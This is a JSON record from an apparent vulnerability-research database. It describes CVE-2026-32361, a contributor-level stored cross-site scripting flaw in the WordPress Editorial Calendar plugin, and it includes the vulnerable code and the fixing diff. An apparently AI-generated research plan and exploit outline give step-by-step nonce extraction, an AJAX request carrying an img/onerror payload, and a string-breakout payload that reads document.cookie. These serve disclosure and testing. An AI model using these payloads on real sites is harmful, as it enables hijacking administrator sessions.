[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOhlKQnHB1_HQMZKK_8AD28PEY4S7Z0qGHYjOMUpYO30":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-32361","editorial-calendar-authenticated-contributor-stored-cross-site-scripting","Editorial Calendar \u003C= 3.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Editorial Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","editorial-calendar",null,"\u003C=3.9.0","3.9.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-15 00:00:00","2026-04-15 21:05:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3b3e793a-4290-4e0e-b5d4-d6acd83e5c3b?source=api-prod",60,[22,23,24,25],"edcal.js","edcal.min.js","edcal.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-32361 Editorial Calendar \u003C= 3.9.0 Stored XSS\n\n## 1. Vulnerability Summary\nThe **Editorial Calendar** plugin for WordPress is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize post titles and contents during the saving process via AJAX and, crucially, fails to escape these values when rendering them dynamically in the calendar view using JavaScript. \n\nA Contributor-level user can inject arbitrary JavaScript into a post title or content. When an Administrator (or any other user) views the Editorial Calendar page, the injected script executes in their browser context.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Actions:** `edcal_savepost` or `edcal_changetitle`.\n- **Vulnerable Parameters:** `title` and `content`.\n- **Authentication:** Authenticated, Contributor role or higher.\n- **Preconditions:** The plugin must be active, and the attacker must have a valid session with at least Contributor privileges.\n\n## 3. Code Flow\n1. **Injection (Server-side):**\n   - The user sends an AJAX request with action `edcal_savepost` to `edcal.php`.\n   - The function `edcal_savepost()` calls `check_ajax_referer('edcal-nonce', 'nonce')` to verify the request.\n   - The title and content are passed to `wp_insert_post()` or `wp_update_post()`. While WordPress core does some filtering, it allows common HTML tags for most users and does not prevent the storage of XSS payloads in titles when handled via these AJAX endpoints if not explicitly sanitized by the plugin.\n2. **Retrieval (Server-side):**\n   - When any user loads the calendar, `edcal.js` calls the `edcal_posts` AJAX action.\n   - `edcal_posts()` in `edcal.php` fetches posts and returns them as a JSON object.\n3. **Execution (Client-side):**\n   - `edcal.js` receives the JSON data.\n   - The function `getPostItems()` (in `edcal.js`) iterates through the posts.\n   - It constructs HTML strings by concatenating post properties: \n     `var b = ... + post.title + ...`\n   - These strings are then injected into the DOM using jQuery methods like `.append()` or `.html()`.\n   - Because `post.title` is not escaped before concatenation, the browser executes the injected script.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses a nonce named `nonce` with the action `edcal-nonce`. This nonce is localized into the page via `wp_localize_script`.\n\n1. **Access Page:** Navigate to the Editorial Calendar page: `\u002Fwp-admin\u002Fedit.php?page=cal`.\n2. **Identify Variable:** The plugin localizes data into a JavaScript object. Based on `edcal.php` and `edcal.js`, this is typically stored in the `edcalL10n` object or a global `edcal` configuration object.\n3. **Extraction:**\n   - Use `browser_navigate` to `\u002Fwp-admin\u002Fedit.php?page=cal`.\n   - Use `browser_eval` to retrieve the nonce:\n     ```javascript\n     window.edcalL10n?.nonce || window.edcal?.nonce\n     ```\n   *(Note: In version 3.9.0, the localization variable is typically `edcalL10n` and the key is `nonce`.)*\n\n## 5. Exploitation Strategy\n### Step 1: Authentication and Nonce Extraction\n1. Log in as a Contributor.\n2. Navigate to `\u002Fwp-admin\u002Fedit.php?page=cal`.\n3. Extract the `nonce` from `edcalL10n.nonce`.\n\n### Step 2: Inject Stored XSS Payload\nSend an AJAX request to create\u002Fupdate a post with a malicious title.\n\n- **Tool:** `http_request`\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=edcal_savepost\n  &title=Test Post\u003Cimg src=x onerror=alert(document.domain)>\n  &content=XSS Payload\n  &date=2025-10-10\n  &status=draft\n  &time=10:00\n  &nonce=[EXTRACTED_NONCE]\n  ```\n\n### Step 3: Trigger the XSS\n1. Log in as an Administrator (or switch session).\n2. Navigate to the Editorial Calendar: `\u002Fwp-admin\u002Fedit.php?page=cal`.\n3. The calendar will perform an AJAX call to fetch posts for October 2025.\n4. The malicious title will be rendered, and the `onerror` event will trigger the `alert`.\n\n## 6. Test Data Setup\n1. **User:** Create a user with the `contributor` role.\n2. **Plugin Configuration:** Ensure the \"Editorial Calendar\" plugin is installed and activated.\n3. **Calendar State:** No specific state is required, but navigating to a future date in the calendar ensures the malicious post doesn't clutter the current view during testing.\n\n## 7. Expected Results\n- The `edcal_savepost` AJAX request should return a JSON object indicating success (usually containing the new post ID).\n- Upon navigating to the calendar as Admin, a JavaScript alert box showing the document domain should appear.\n- In a real-world scenario, the payload would be replaced with a script to exfiltrate the Administrator's session cookies or create a new administrator account.\n\n## 8. Verification Steps\n1. **Database Check:** Use WP-CLI to verify the post title is stored with the payload:\n   ```bash\n   wp post list --post_type=post --format=csv | grep \"img src=x\"\n   ```\n2. **DOM Check:** In the browser (while on the calendar page), inspect the HTML of the calendar cells to see the raw `\u003Cimg>` tag inside the post item container:\n   ```javascript\n   browser_eval(\"document.querySelector('.posttitle').innerHTML\")\n   ```\n\n## 9. Alternative Approaches\nIf `edcal_savepost` is strictly monitored, use `edcal_changetitle`:\n- **Action:** `edcal_changetitle`\n- **Params:** `id=[POST_ID]`, `title=[PAYLOAD]`, `nonce=[NONCE]`\n- **Precondition:** Requires an existing post ID (can be created via standard WordPress UI or `edcal_savepost` first).\n\nIf `edcalL10n` is not found, check for the nonce in the raw HTML:\n- Search for `edcal-nonce` in the response body of the calendar page.","The Editorial Calendar plugin is vulnerable to Stored Cross-Site Scripting because it fails to sanitize post titles and contents during AJAX saving operations and fails to escape these values when rendering them within the calendar view, particularly inside JavaScript-generated event handlers. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into post titles that execute in the context of other users, such as Administrators, viewing the calendar.","\u002F\u002F edcal.js line 1916 (v3.9.0)\n        '\u003Ca href=\"' +\n        post.dellink +\n        '\" onclick=\"return edcal.confirmDelete(\\'' +\n        post.title +\n        \"');\\\">\" +\n        edcal.str_del +\n        \"\u003C\u002Fa> | \" +\n\n---\n\n\u002F\u002F edcal.min.js (v3.9.0)\n\u002F\u002F Snippet from getPostItemString logic:\n+a.slugs+'\">\u003Cdiv class=\"postlink \">\u003Cspan>'+b+'\u003C\u002Fspan>\u003C\u002Fdiv>\u003Cdiv class=\"postactions\">\u003Ca href=\"'+a.editlink+'\">'+edcal.str_edit+'\u003C\u002Fa> | \u003Ca href=\"#\" onclick=\"edcal.editPost('+a.id+'); return false;\">'+edcal.str_quick_edit+'\u003C\u002Fa> | \u003Ca href=\"'+a.dellink+'\" onclick=\"return edcal.confirmDelete(\\''+a.title+\"');\\\">\"+edcal.str_del+'\u003C\u002Fa> | \u003Ca href=\"'+a.permalink+'\">'+edcal.str_view+\"\u003C\u002Fa>\u003C\u002Fdiv>\u003C\u002Fli>\"","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feditorial-calendar\u002F3.9.0\u002Fedcal.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feditorial-calendar\u002F3.9.1\u002Fedcal.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feditorial-calendar\u002F3.9.0\u002Fedcal.js\t2026-02-04 15:17:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feditorial-calendar\u002F3.9.1\u002Fedcal.js\t2026-02-24 15:27:58.000000000 +0000\n@@ -1916,7 +1916,7 @@\n         '\u003Ca href=\"' +\n         post.dellink +\n         '\" onclick=\"return edcal.confirmDelete(\\'' +\n-        post.title +\n+        post.title.replace(\u002F[^a-zA-Z0-9\\s]\u002Fg, '') +\n         \"');\\\">\" +\n         edcal.str_del +\n         \"\u003C\u002Fa> | \" +","1. Authenticate to the WordPress site as a user with at least Contributor privileges (the 'edit_posts' capability).\n2. Navigate to the Editorial Calendar page (\u002Fwp-admin\u002Fedit.php?page=cal) to extract the security nonce from the localized 'edcalL10n' or 'edcal' JavaScript object.\n3. Send an AJAX POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'edcal_savepost' or 'edcal_changetitle' action, including the extracted nonce.\n4. Set the 'title' parameter to a malicious XSS payload. For the specific vulnerability in the 'confirmDelete' handler, a payload like \"\\');alert(document.cookie);\u002F\u002F\" would work to break out of the JavaScript string context.\n5. When an Administrator logs in and views the Editorial Calendar, the plugin fetches the malicious post and renders it. If the Administrator interacts with the post (e.g., hovering or attempting to delete), the injected script will execute in their session context.","gemini-3-flash-preview","2026-04-20 22:06:01","2026-04-20 22:06:25",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.9.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feditorial-calendar\u002Ftags\u002F3.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feditorial-calendar.3.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feditorial-calendar\u002Ftags\u002F3.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feditorial-calendar.3.9.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feditorial-calendar\u002Ftags"]